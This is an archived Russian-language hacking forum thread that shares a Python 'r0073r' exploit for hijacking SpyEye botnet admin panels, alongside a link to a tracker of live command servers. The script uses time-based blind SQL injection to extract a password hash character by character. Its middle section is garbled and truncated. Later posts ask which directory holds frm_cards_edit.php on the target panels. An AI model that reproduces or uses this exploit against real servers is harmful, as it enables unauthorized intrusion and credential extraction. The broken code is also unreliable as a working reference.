PDA

Просмотр полной версии : 0-day для угона ботнетов SpyEye, кто разобрался?


FlatL1ne
19.09.2011, 10:36
Список ЦУ https://spyeyetracker.abuse.ch/monitor.php


#!/usr/bin/python

from httplib import HTTPConnection
from time import time
from sys import exit, argv, stdout
import urllib
print """
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 __ __ __ __ 1
1 /'__`\ /'__`\/\ \__ /'__`\ 0
0 _ __ /\ \/\ \/\ \/\ \ \ ,_\ __ __ __/\ \/\ \ _ __ ___ ___ 1
1 /\`'__\ \ \ \ \ \ \ \ \ \ \/ /\ \/\ \/\ \ \ \ \ \/\`'__\/' __` __`\ 0
0 \ \ \/ \ \ \_\ \ \ \_\ \ \ \_\ \ \_/ \_/ \ \ \_\ \ \ \/ /\ \/\ \/\ \ 1
1 \ \_\ \ \____/\ \____/\ \__\\ \___x___/'\ \____/\ \_\ \ \_\ \_\ \_\ 0
0 \/_/ \/___/ \/___/ \/__/ \/__//__/ \/___/ \/_/ \/_/\/_/\/_/ 1
1 0
0 1
1 >> SpyEye r0073r xpl01t 0
0 >> author : Sanjar Satsura 1
1 >> sanjar[at]xakep[dot]ru 0
0 >> Public v.0.1 1
1 >> )c( 2011 0
0 1
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-0

Example:
Spyeye_r0073r /dir/"version()"

"""

if len(argv) delay:
#has come true then the character is valid
stdout.write(chr(i))
stdout.flush()
hash += chr(i)
a += 1
break;
else: j += 1
print "i vale %s, y J vale %s" %(i,j)



# w4tch u. h4ck u. fuck u. 1337day
# www.r00tw0rm.com

Bukvo_Ezka
20.09.2011, 18:06
дак а что неполучается то именно?

Koren
21.09.2011, 04:03
да ладно, какая там иньекция? )

Bukvo_Ezka
21.09.2011, 18:40
прочухал прочухал )))

vaddd
22.09.2011, 18:53
frm_cards_edit.php

что-то на всех админках 404 ошибку выдает...

в какой дире лежит этот файлик?